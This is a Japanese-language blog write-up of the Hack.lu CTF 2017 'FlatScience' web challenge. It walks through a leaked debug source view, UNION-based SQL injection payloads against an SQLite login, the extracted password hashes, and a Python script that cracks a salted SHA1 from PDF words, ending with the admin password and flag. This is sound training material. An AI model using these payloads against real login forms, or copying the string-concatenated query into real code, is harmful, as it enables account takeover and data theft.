banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Hack.lu CTF 2017-フラットサイエンス-ワriteアップ

  • なぜ 2017 年の問題の writeup を書くのか:ある CTF トレーニングプラットフォームの問題を解くために、Chybeta 大佬の writeup を参考にしたからです。

まず、私たちにアドレスとポート番号が割り当てられたので、開いてみましょう:

image

それぞれクリックしてみると、ほとんど同じようで、すべてが様々な英語の pdf にリダイレクトされ、理解できません。では、流れに従いましょう:

  • ソースコード:特に変わったところはありません

  • robots.txt:発見がありました

    image

  • トラフィック分析:前のステップで robots.txt に発見があったので、このステップは省略します(ここでは一般的なCTF の問題の Web 処理ステップの三部作を説明するためだけです)

login.phpadmin.phpが見えます。

login.php

image

admin.php

image

login.phpのソースコードを見てみると、ヒントが見つかります:

image

一つの TODO:?debug パラメータを削除する

ああ~作者がコメントで削除するように言っていますが、削除されていないか見てみましょう(知らないふりをして)、削除されていないことがわかります:

image

そして、このページのソースコードがそのままです:

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');

        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

このソースコードが見えます。

  • POST された usr と pw パラメータは何のフィルタリングもされず、SQL クエリに渡されます(データベースは SQLite なので、SQLite のシステムテーブルは sqlite_master であることを考慮する必要があります)。

  • クエリの結果 id フィールドが空でない場合、setcookie 操作が実行され、クエリの結果 name フィールドが cookie に挿入されます。

クエリ文の実行操作がわかったので、SQL インジェクションのクエリポイントを準備します。まず、元のパケットの形式を見てみましょう。
image
image

  • POST を構築します:
    usr=%27 UNION SELECT name, sql from sqlite_master--+&pw=soap

  • SQL インジェクションの結果は:
    SELECT id,name from Users where name='' union select name, sql from sqlite_master-- and password= 'soap'
    id 値は実際にはテーブルの名前(name)であり、得られる name 値は実際にはテーブル作成時の文(sql)です。
    image

  • ヒント:このクエリ結果から、第二フィールドの値のみが返されることがわかります。

URL デコードし、%2C を改行に変換すると、SQL 文が得られます:

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
  • この文から、現在のテーブルは Users テーブルであり、4 つの列があることがわかります。前述のように第二位置の値のみが返されることを考慮して、以下のようなインジェクション文を構築できます。
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=soap

オフセット(つまり後の limit 0,1; limit 1,1; limit 2,1)を使用することで、以下のデータを得ることができます:

namepasswordhint
admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?!
fritze54eae8935c90f467427f05e4ece82cf569f89507my love is…?
hansi34b0bb7c304949f9ff2fc101eef0f048be10d3bdthe password is password
  • 2 と 3 の sha1 を解読できることがわかりましたが、1 の sha1 は解読できません。テーブルの情報はすべて得られましたが、フラグはどこに?

ソースコードと組み合わせると:

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

そしてヒント:my fav word in my fav paper?!は、ウェブサイト上のすべての pdf の中で最も好きな単語を見つけることを意味します。

ウェブサイト上のすべての pdf をダウンロードするために、ここでは wget を使用して再帰的にダウンロードします:wget xxx.com -r -np -nd -A .pdf

  • -r:階層的に再帰処理
  • -np:上に(URL パス)再帰しない
  • -nd:ウェブサイトと同じ(URL パス)のディレクトリ構造を作成しない
  • -A type:ファイルタイプ
    image

次に、すべての pdf から単語を抽出し、それぞれを sha1 ($pass."Salz!") 操作にかけて、admin のパスワードの sha1 と一致する場合、それが出題者の最も好きな単語です。大佬たちは python を使って pdf からテキストを取得していますが、私は小さなツールを使用しました:PDF Shaper Pro リンク

中には pdf をテキストに変換する機能がありますが、認識エラーや改行時の文字欠落の問題が少しあるかもしれません:

image

しかし、単語を一つ見つけるだけなので、時間を節約するためにこうすることができます:

image

もし見つからなければ、Python スクリプトを使えばいいのです:リンク

テキストの問題が解決したので、os ライブラリを使用してディレクトリ内のすべてのテキストファイルを走査し、re で全単語をマッチさせて比較すれば OK です。スクリプトは以下の通りです:

# !/usr/bin/python
# -  *  - coding:utf-8 -  *  -
'''
@author: soapffz
@fucntion:
@time: 2018-12-17
'''

import os
import re
import hashlib


def get_words():
    txt_name_list = [i for i in os.listdir("Tmp")] # すべてのtxtの名前を取得
    os.chdir("Tmp")  # 作業ディレクトリを変更
    words_list = []  # 重複しないすべてのtxtの単語を格納
    for i in range(len(txt_name_list)):
        with open(txt_name_list[i], 'r')as f:
            words = re.findall('[A-Za-z]+', f.read())  # 正規表現で単語をマッチ
            for i in words:  # ここで生成されたwordsはリストであり、直接words_listに追加できないので、二重リストにならないようにする
                if i not in words_list:
                    words_list.append(i)
    return words_list


def find_passwd():
    words_list = get_words()
    for word in words_list:
        sha1_password = hashlib.sha1(
            (word + "Salz!").encode()).hexdigest()  # ここではencode()でbytes形式に変換する必要があります
        if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
            print("パスワードを見つけました :" + word)
            exit()


if __name__ == "__main__":
    find_passwd()


運が良かったのか、一致する値を見つけました:

image

admin のパスワードは:ThinJerboa

admin.phpにアクセスしてログインするとフラグが得られます:

image

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。